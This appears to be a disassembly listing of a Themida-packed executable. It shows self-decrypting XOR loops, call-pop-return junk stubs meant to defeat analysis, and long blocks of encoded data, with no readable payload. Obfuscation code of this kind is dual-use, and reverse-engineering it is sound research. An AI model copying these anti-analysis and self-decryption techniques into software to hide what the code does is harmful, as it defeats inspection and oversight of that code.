		dd 910A2572h, 4814B24h,	0E39F6824h, 459D0940h, 8D07D12Bh
		dd 0D4EA5A85h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0D3827505h, 85093F9Dh
		dd 7D132E5h, 0E5BB6690h, 0F88B5089h, 56006A90h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 7E968h, 185E0000h
		dd 0B20A4CCBh, 1D9D098Fh, 0FF07D123h, 0D12B1595h, 55BB6607h
		dd 9D89610Fh, 7D12081h,	2CF59D8Bh, 85C707D1h, 7D11D39h
		dd 3, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 19h
		dd 1DC35141h, 0AB70E7Ah, 6D9D8B8Bh, 0E907D123h,	5, 3B64696Ah
		dd 5ABD8311h, 7D4EAh, 5B840Fh, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 210239C3h
		dd 51E9FED8h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0FC13C355h,	0BC59B84Eh
		dd 0F76AAEE5h, 0B299F381h, 0BD3310A1h, 7D131BDh, 2F9008BFh
		dd 0C305023h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h
; ---------------------------------------------------------------------------


loc_5D3C8C:				; CODE XREF: Themida_:005D3855j
					; Themida_:005D3CA3j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D3C8C
		jmp	short loc_5D3CC2
; ---------------------------------------------------------------------------


loc_5D3CA7:				; CODE XREF: Themida_:005D3867j
					; Themida_:005D3CBEj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D3CA7
		jmp	short $+2


loc_5D3CC2:				; CODE XREF: Themida_:005D3CA5j
		mov	eax, eax
		and	ebx, 5F25C2C8h
		push	0
		push	ebx
		call	sub_5D3CD5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3CD5	proc near		; CODE XREF: Themida_:005D3CCDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5D3CD5	endp

; ---------------------------------------------------------------------------
		db 63h,	55h, 44h
		dd 4860F13h, 66000000h,	839B47BBh, 0D11D39BDh, 850F0307h
		dd 3FDh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0A2C35646h, 0DB95D0D9h,	6682F18Dh, 3089DB81h, 5ABD83F9h
		dd 7D4EAh, 3C7840Fh, 0B7520000h, 0B5FF5B5Eh, 7D4EA5Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E1C35646h
		dd 96E7E567h, 0E6402C5Dh, 329DB589h, 95FF07D1h,	7D12EB1h
		dd 8BFE8B66h, 0D4EA4EB5h, 0C726B307h, 1000106h,	3AEB8000h
		dd 60525050h, 8B665853h, 310F61D8h, 0FE8h, 0D33BBE00h
		dd 2460D564h, 43AB19A8h, 9490A37Dh, 13E8h, 0F9B24400h
		dd 0D6CA0A14h, 44E34262h, 24C61E91h, 872C4A86h,	585A5F5Bh
		dd 89243489h, 0D113ED85h, 5AB5FF07h, 6A07D4EAh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0D388C356h, 0DA8BE543h, 31A595FFh, 6A07D1h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 2D5E41C3h, 0B435EED1h, 8B8D4C24h, 0D116D5BDh, 4EB58B07h
		dd 6607D4EAh, 858BD98Bh, 7D12B31h, 0C1D731BFh, 0C4868909h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0AA9CC355h, 318509A5h,	8B07D119h
		dd 0D11B5195h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 7191A1CBh, 4C283F8h, 16C18589h
		dd 508907D1h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 858DE97Ch, 7D4FEE5h, 14E8h, 93CE3800h
		dd 0DE717391h, 4EC9A193h, 11B30263h, 0EFB47661h, 0ADB5096Ah
		dd 5F07D11Fh, 0B88689h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0D85601C3h, 0BD01269Dh
		dd 7D118F9h, 1800Fh, 6AFC0000h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C8778480h
		dd 0BF0F7F1Eh, 5AB5FFDEh, 6A07D4EAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 276DC356h
		dd 95FF5B50h, 7D11DE9h,	21118589h, 8A5007D1h, 243489DDh
		dd 0DDBD29h, 0B5FF07D1h, 7D4EA5Ah, 0C8B70F60h, 9D95FF61h
		dd 6A07D12Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 55DBC351h, 0FCF0450Ch,	2809BD83h
		dd 0F0007D1h, 7184h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0C31FD384h, 500F906h
		dd 606050C4h, 14E9h, 0EFFAF700h, 0C7A2BD0h, 25D784E0h
		dd 0FA55919Dh, 0AF8BC0C5h, 0D38B6642h, 4870F61h, 66000000h
		dd 610DA0BEh, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 8E32C356h, 0B5FFC12Dh
		dd 7D4EA5Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	77C35040h, 1595010Dh, 0FF07D12Ch, 0D132B595h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 668F43DDh, 0FF5EB7A0h, 0D4EA5AB5h, 68A0F07h,	89000000h
		dd 0D130F19Dh, 995FF07h, 8107D127h, 0B528C1C7h,	0C1BD8328h
		dd 207D10Fh, 57840Fh, 0DBB0000h, 8B09E465h, 0D11E2585h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 4E4084BBh, 0BFA6A7B4h, 24BC51F1h, 6A0000C6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 6CC6C353h, 0BF6FC62Bh, 0CD85C7C1h, 7D122h
		dd 29000000h, 0D11FF98Dh, 0F382E907h, 8589FFFFh, 7D1332Dh
		dd 67B3C18Bh, 0AE9h, 6A6CD700h,	65DE6B3Dh, 8D0910F7h, 0D1136185h
		dd 1DD78107h, 90339B50h, 79B85160h, 5E3A0772h, 61DA8B66h
		dd 148B0F50h, 60000000h, 9E9h, 0F3C73C00h, 822E7A3Dh, 0BA66C79Eh
		dd 9061CC24h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	0BDC35242h, 22794B82h, 9E814h, 0B6CF0000h, 92D9C421h
		dd 0BB32CEE9h, 2A48C458h, 0F006A5Fh, 28Bh, 0E9FA8B00h
		dd 10h,	0BAB11C52h, 4E2FFE81h, 5EACB2E9h, 12140152h, 880F006Ah
		dd 6, 1BAD8501h, 858D07D1h, 7D5DCE7h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0F7C35646h,	0C083AF69h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 7CE3BAABh, 0BD9509CFh, 6007D132h, 0B1B589FCh, 6107D116h
		dd 0CE890h, 0BAED0000h,	0EB0E66D5h, 5E64CE7h, 8B6674AAh
		dd 0BF505BF8h, 601BA098h, 0DE890h, 0C8110000h, 77ED2268h
		dd 42253A3Bh, 8BC7553Ch, 0D12AB19Dh, 6A5F07h, 7E9h, 0B575F600h
		dd 0FB96EDDBh, 1F718531h, 6A07D1h, 233DBD8Bh, 95FF07D1h
		dd 7D11DE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	4C35343h, 0ECF0D5B4h, 98E7817Fh, 8D1BFBBCh, 0D4D5668Dh
		dd 0FF94B707h, 3DBD8BD1h, 8307D116h, 0D11715BDh, 850F0107h
		dd 81h,	6840Fh,	0EF810000h, 5EA7BA28h, 0BE9h, 0B08D0800h
		dd 0C046032Dh, 0CBE3D7C2h, 6A026Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 6CB9C5C3h
		dd 37E83AC4h, 0F53C98E7h, 50F88B90h, 489553BBh,	6A902Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 9D4A31C3h, 81ACDF10h, 0E68580D7h, 0E995FF2Ah, 8107D11Dh
		dd 0ADF04DBh, 0EC8E97Ah, 0E80000h, 5D000000h, 0DCF1ED81h
		dd 6A07D5h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 3544F7C3h, 0EACF81C2h, 8D4026ADh,	0D4BC7785h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 6E92A8Fh, 35000000h, 795140EDh, 8B6650F8h
		dd 240489FEh, 24B9BD29h, 0FF6407D1h, 35h, 636BBB00h, 89641D44h
		dd 25h,	0D59D2300h, 0FF07D132h,	0D1292185h, 53FF6A07h
		dd 0CA9BD8Bh, 0FF5F07D1h, 0D11FF1B5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 608B1488h, 14E9h, 0E47FDB00h, 2FD0B3B3h, 64669B00h
		dd 6CC4EE3Eh, 0BDFBA221h, 6E861C4h, 2A000000h, 0FDC48519h
		dd 79958980h, 5F07D12Ch, 141D95FFh, 2FE907D1h, 0B0000001h
		dd 5810F00h, 0BF000000h, 428BD816h, 0BD8B70E6h,	7D1003Dh
		dd 48BB71E4h, 3C75E762h, 0B830F61h, 89000001h, 0D1026D9Dh
		dd 0C8B60F07h, 2C499D89h, 6BA07D1h, 0E9000000h,	0Dh, 0CC2DF46h
		dd 0B9ECCA48h, 4A3E2865h, 66C18B74h, 9D8BF88Bh,	7D11115h
		dd 6004E8C1h, 2DC9BD29h, 820F07D1h, 2, 6661C28Bh, 0BD33E2F7h
		dd 7D10F39h, 9501C82Bh,	7D10669h, 11E9D18Bh, 1E000000h
		dd 3812D7EBh, 0E06846DBh, 0D552200h, 3E61C90Ah,	3E9h, 0F98B6600h
		dd 2519858Bh, 852907D1h, 7D11ED1h, 8B07C083h, 0D1107DBDh
		dd 0C08307h, 7DBD89h, 0D98B07D1h, 830FD03Bh, 0Fh, 8589DE8Bh
		dd 7D122C9h, 61E9h
		dd 8BDD8A00h, 0D11F458Dh, 7DBD8907h, 8307D116h,	840F01E1h
		dd 4Ah,	11E8F9h, 0C9940000h, 0D86AB99Bh, 534C2201h, 0F3168316h
		dd 66280A42h, 5F69B7BFh, 1F45A583h, 66FE07D1h, 895911BFh
		dd 0D1251995h, 0DE907h,	42530000h, 0FEE3DC2Ah, 9DBC3119h
		dd 89CEB762h, 0D126B19Dh, 0E907h, 0B58D0000h, 7D5480Eh
		dd 0CA9BD8Bh, 6A07D1h, 0EE9h, 0D06BBF00h, 3ACEE1D7h, 0FAB657Ah
		dd 0F8436DA1h, 5595FFh,	6A07D1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0BDF2E8C3h, 66B52A75h
		dd 9D89F98Bh, 7D12331h,	894B9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 29616FE8h
		dd 0D108C5B5h, 0FCE18307h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 74C35141h, 5716BF8Eh,	898D31C9h, 0FC07D125h
		dd 0B8D98B66h, 0
; ---------------------------------------------------------------------------
		movzx	edi, si
		sub	edx, edx
		push	0
		push	ecx
		call	sub_5D4608
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4608	proc near		; CODE XREF: Themida_:005D4600p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5D4608	endp

; ---------------------------------------------------------------------------
		dd 0C3B3F489h, 33AD23FAh, 3E8D1C2h, 4E983D0h, 0FA8AF475h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0DCC35747h
		dd 988A8D6Ah, 880D89h, 0EE80000h, 0E9000000h, 0C25243Bh
		dd 5CBA9A35h, 8A4D7221h, 5880F58h, 66000000h, 9A2CD381h
		dd 51958B5Fh, 8907D11Bh, 0D114C585h, 6890F07h, 81000000h
		dd 292C03CFh, 558D8B3Ah, 0E807D12Dh, 13h, 61B5DB1Dh, 10D4BCF2h
		dd 2281360Ch, 0A329DCCh, 664B55B8h, 5B16ACBFh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B70F23C3h
		dd 56006AF8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 68B9399Bh, 6850Fh, 0B5890000h, 7D12909h
		dd 1BC5BD83h, 0F0007D1h, 9884h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 66010A35h
		dd 0E1BDF781h, 0B8h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 9589A8A8h, 7D13411h, 4D0A8D8Dh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0E8327BC3h, 609978FFh, 49BED681h,	11E9308Dh
		dd 2A000000h, 0A56C88C6h, 4926FFB6h, 0DEAF1744h, 735BA2C1h
		dd 8BE1FF61h, 0D115E9BDh, 39BD8307h, 7D11Dh, 4C1840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 600475C3h, 80DEBF0Fh, 8B6197E8h, 0D12E0D9Dh
		dd 39BD8307h, 107D11Dh,	4A4840Fh, 81660000h, 835CCCE3h
		dd 0D11D39BDh, 860F0307h, 45Ch,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0E0C35545h,	0D552200h, 2180E781h
		dd 6A603027h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 66E1C353h, 0E180D98Ch,	50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0EC647C4Ah, 654D2F93h, 0A5B50964h, 0A07D11Bh, 0C2840FC9h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8B62C352h, 0D128F585h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 10E9E7h, 594D0000h, 881F927Fh, 6A31BF9Fh, 7A279F80h
		dd 8533F6C0h, 7D131CDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FBC35242h, 0E57C01EAh, 0DB29D36Eh, 0DF8B90A1h
		dd 90FE8B50h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	0E2C35141h, 39541512h, 0CAB93B8Ch, 7137BB23h, 6A3A5Fh
		dd 11E8h, 0D1B63F00h, 0C9B553C1h, 0AA0E771Ah, 8DC94E4Fh
		dd 0BD338EE7h, 7D13185h, 4E85Bh, 3FF0000h, 0E850001Fh
		dd 12h,	0CDA7A149h, 902E789Eh, 0B769EFC9h, 0E49A07Fh, 0D7B73B04h
		dd 24448B5Fh, 0C8F0F04h, 0F000000h, 68Eh, 8E0F00h, 8B000000h
		dd 99BF5300h, 5F734213h, 4244489h, 0A4302ABFh, 6A5862h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0F5896EC3h, 3375DF2Fh, 0D10CC9BDh, 1595FF07h, 8907D12Bh
		dd 0D128018Dh, 5A858907h, 6A07D4EAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9E0AC355h
		dd 21F5BFDFh, 8B601F1Eh, 0D12039BDh, 0CAB96607h, 0BFE9617Dh
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8933C351h, 0D1177D95h,	918D0907h
		dd 0E907D12Bh, 0Dh, 0A2977ABCh,	0D15B7821h, 0B767D38Ch
		dd 52858B3Dh, 6607D4EAh, 52A6F8BBh, 0C75FFE8Bh,	1800h
		dd 1810F00h, 0F8000000h, 8E0Fh,	0B58B0000h, 7D4EA56h, 18D9531h
		dd 858B07D1h, 7D10C9Dh,	2A019D89h, 68907D1h, 10E9h, 0B3A0C900h
		dd 0F1FEFCFh, 360899D5h, 68D26195h, 0F5858BCCh,	6A07D128h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 4DE1C355h, 895F9B77h, 0D1071595h,	4468907h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0CCC35040h
		dd 2F6F3602h, 93F78069h, 105DBD8Bh, 8B9607D1h, 8B6650F9h
		dd 6A96FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 142F24C3h, 0FFF8BF90h, 0D4EA52B5h, 0D3816607h
		dd 0C268A973h, 8B6C3370h, 243481F9h, 6C2C733Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FFC35646h, 858DFF88h
		dd 7D4EA5Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	74C35747h, 0B12DBE54h, 8B168B59h, 2ABF66B5h, 0BB6690D8h
		dd 8A5083B5h, 6A90FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0AEE617C3h, 66144765h, 0D9BFDA8Bh
		dd 0FF14DA89h, 0D12B1595h, 10E907h, 5C140000h, 0BA0F17Bh
		dd 4F6371FEh, 3999C461h, 6A611FDFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0C5EC353h
		dd 0F1BB6684h, 6850F6Dh, 8B000000h, 0D10769BDh,	3985C707h
		dd 307D11Dh, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 6804C351h, 1890Fh
		dd 83F50000h, 0D4EA5ABDh, 840F0007h, 30h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0ACC35141h, 0E280F755h
		dd 0E57BB00Bh, 20E9F8B3h, 66000000h, 187EF381h,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 6ADBBFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD838CC3h, 7D11D39h, 0EC850F03h, 6A000004h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0B530C352h, 0B6B160A8h, 0F13D380h, 1E83h, 12E800h, 55160000h
		dd 629E3759h, 7FEBE63Ah, 8917CE74h, 0ED9CB5BCh,	1BA58D29h
		dd 8B5F07D1h, 5ABD83D8h, 7D4EAh, 495840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0A0377BC3h, 8529B011h, 7D12E11h, 0EA5AB5FFh,	6A07D4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0CCCF7AC3h, 95FFF918h, 7D12EB1h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 6DC35242h, 7BABD140h, 8166A256h
		dd 8B6B1BE7h, 0D1270D9Dh, 4EB58B07h, 5707D4EAh,	68E1CB81h
		dd 0C75F3D0Ah, 1000106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 78223524h, 60502CA2h
		dd 42333BAh, 11E804h, 4F6B0000h, 37BE1E79h, 2D0A896Dh
		dd 0B305F9C5h, 0B4A0B182h, 89615F86h, 6A2434h, 3E853h
		dd 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B5FF5BC3h
		dd 7D4EA5Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0EAC35040h, 0ECBFE088h,	0FF15726Ah, 0D131A595h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A170A254h, 0BE988h, 145F0000h, 59123E40h
		dd 0B8B37BB6h, 4EB58BC4h, 6A07D4EAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 6E4CC350h
		dd 82908114h, 471E2020h, 1E319D31h, 858B07D1h, 7D12B31h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 47C35040h
		dd 0AD0CBDF3h, 85899F59h, 7D122B1h, 0C48689h, 0B70F0000h
		dd 51958BDFh, 6A07D11Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 8477C351h, 3D44BFCCh
		dd 81B509D5h, 8307D121h, 12E904C2h, 34000000h, 0AC9C53Dh
		dd 5AB7DE6Dh, 1300772Ch, 81BDA6ADh, 2050899Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 57C35343h, 0E5858D10h
		dd 6007D4FEh, 32058D89h, 8D8B07D1h, 7D121B1h, 178B0F61h
		dd 0E9000000h, 12h, 2B5E176Dh, 1AE22958h, 938873D2h, 0DEA94DABh
		dd 86897CDBh, 0B8h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 43C35141h, 80BB6655h,	6A006A0Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 83C0C352h, 0AFB4B618h, 84D9D09h, 0B5FF07D1h,	7D4EA5Ah
		dd 30FDBD8Bh, 95FF07D1h, 7D11DE9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0F7C35040h,	6650BD4Dh, 890FF1BFh
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 4B4339C3h, 299D33F8h, 0FF07D132h,	0D4EA5AB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FF35A0Ch, 95FFF8B7h, 7D12D9Dh, 3111BD8Bh
		dd 0BD8307D1h, 7D12809h, 75840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 1B8C355h, 0D11BAD85h, 8B609607h, 505061CFh, 10E852h
		dd 0F3480000h, 0E3F1FCCCh, 9BFE55FDh, 93B41A74h, 0DD8A5C57h
		dd 60310F5Bh, 5A618DB3h, 6A9658h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 85781BC3h, 68E0Fh, 8D290000h
		dd 7D106C5h, 0EA5AB5FFh, 6A07D4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 9D1575C3h, 0FE8h, 0C789C00h
		dd 0E4661B1Eh, 6D5D31E8h, 0B854AEE7h, 0E5BD8960h, 5607D124h
		dd 0FF5B615Fh, 0D132B595h, 5DBD3307h, 0FF07D107h, 0D4EA5AB5h
		dd 995FF07h, 6007D127h,	0B52929B5h, 7D12381h, 0C1BD8361h
		dd 207D10Fh, 3C840Fh, 0BD8B0000h, 7D121F9h, 1E25858Bh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 2838B9C3h, 818CCE9Bh, 8B30C0DFh, 0C677h
		dd 28F99589h, 85C707D1h, 7D122CDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5D51AF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D51AF	proc near		; CODE XREF: Themida_:005D51A7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5D51AF	endp

; ---------------------------------------------------------------------------
		clc
		sar	byte ptr [edx-76D5EEA6h], 1
		imul	ebx, [ecx-1627749Ah], 0FFFFF1E5h
		push	0
		push	eax
		call	sub_5D51DB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D51DB	proc near		; CODE XREF: Themida_:005D51D3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D51DB	endp

; ---------------------------------------------------------------------------
		mov	dh, 8Bh
		shl	dword ptr [esi-41h], 0Eh
		pushf
		lea	eax, [ebp+7D11361h]
		push	0
		push	ebx
		call	sub_5D5203
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5203	proc near		; CODE XREF: Themida_:005D51FBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D5203	endp

; ---------------------------------------------------------------------------
		sub	eax, 21CB8166h
		or	dl, [eax-31AB449Ah]
		push	eax
		push	edx
		mov	ebx, ecx
		pop	ebx
		nop
		push	0
		push	ebp
		call	sub_5D522F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D522F	proc near		; CODE XREF: Themida_:005D5227p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D522F	endp

; ---------------------------------------------------------------------------
		cmpsb
		or	al, 6Ch
		js	near ptr loc_5D5255+4
		call	near ptr loc_5D5253+1
		xchg	eax, edi
		sbb	dh, [ebp+21h]
		dec	ecx
		std


loc_5D5253:				; CODE XREF: Themida_:005D5248p
		mov	bl, 66h


loc_5D5255:				; CODE XREF: Themida_:005D5242j
		mov	edi, 6A5F1723h
		add	[edx+0], ch
		push	esi
		call	sub_5D5266
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5266	proc near		; CODE XREF: Themida_:005D525Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5D5266	endp

; ---------------------------------------------------------------------------
		or	edi, [edi+6A006Ah]
		push	eax
		call	sub_5D5285
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5285	proc near		; CODE XREF: Themida_:005D527Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D5285	endp

; ---------------------------------------------------------------------------
		db 5Fh,	74h, 0EEh
		dd 0D781EA62h, 53F588ACh, 0EDC3858Dh, 6A07D5h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0FE4AE8C3h, 5C083A2h, 24E59D8Bh, 505007D1h, 60310F52h
		dd 310F5250h, 10E9585Ah, 0AD000000h, 0C98ED68Eh, 17D880CDh
		dd 4F408BE3h, 61DDAA04h, 489585Ah, 0F99D0124h, 6A07D121h
		dd 0FF006A00h, 0D11DE195h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BB667061h
		dd 8D8DB0ECh, 7D4D566h,	2469BD8Bh, 0D1FF07D1h, 0BD832FB7h
		dd 7D11715h, 0BE850F01h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 191C350h
		dd 8B2E75D9h, 0D8F9EEADh, 8E8h,	9F51B00h, 0A22EDA90h, 9E9D2h
		dd 3F190000h, 8C0FE0BDh, 5F45D931h, 6A026Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 579E12C3h
		dd 9E1C7181h, 0DF8B6639h, 0E9506090h, 8, 0A73228C9h, 9A254204h
		dd 48E0F58h, 66000000h,	617D4EB9h, 9054B350h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 25C35040h, 5968A5A6h
